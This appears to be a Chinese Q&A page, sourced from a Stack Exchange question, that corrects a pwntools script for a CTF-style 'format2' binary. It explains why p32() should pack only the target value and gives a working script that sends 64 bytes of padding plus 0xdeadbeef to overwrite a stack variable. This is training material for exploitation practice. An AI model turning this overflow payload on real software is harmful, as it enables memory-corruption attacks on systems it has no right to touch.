Python pwn库如何使用p32()正确打包变量构造payload
Pwn利用脚本错误修复
存在的问题
process()函数传入的程序路径未加引号,属于语法错误,Python无法识别./format2这个裸标识符。p32()的作用是将32位整数打包为小端序的4字节二进制数据,不能直接传入"A"*64这类长度远大于4字节的字符串:填充内容直接通过字符乘法构造即可,无需调用打包函数。- 目标值
deadbeef是十六进制格式的内存数值,不能直接以字符串形式传入p32(),需要声明为十六进制整数。 - Python3环境下Pwntools交互要求传入字节类型数据,直接拼接普通字符串会触发编码报错。
修复逻辑
栈/格式化字符串类题目的payload构造规则:偏移长度的填充内容直接通过
b"填充字符"*偏移长度构造,仅需要写入内存的地址、数值类内容才调用p32()(32位程序)或p64()(64位程序)打包。
修复后可运行代码
from pwn import * # 程序路径以字符串形式传入process p = process("./format2") # 目标值声明为十六进制整数 target = 0xdeadbeef # 填充内容直接用字节乘法构造,无需打包 payload = b"A" * 64 # 仅目标数值需要打包拼接 payload += p32(target) p.sendline(payload) p.interactive()
额外注意项
- 如果目标程序是64位架构,请将
p32替换为p64,填充长度需要根据实际栈偏移调整,偏移不准时可使用Pwntools自带的cyclic()函数快速测算。 - 若调试时发现地址乱码,优先检查程序架构是否和打包函数匹配、是否开启了ASLR等系统防护。
内容的提问来源于stack exchange,提问作者Gobinath B
相关产品推荐
相关产品推荐

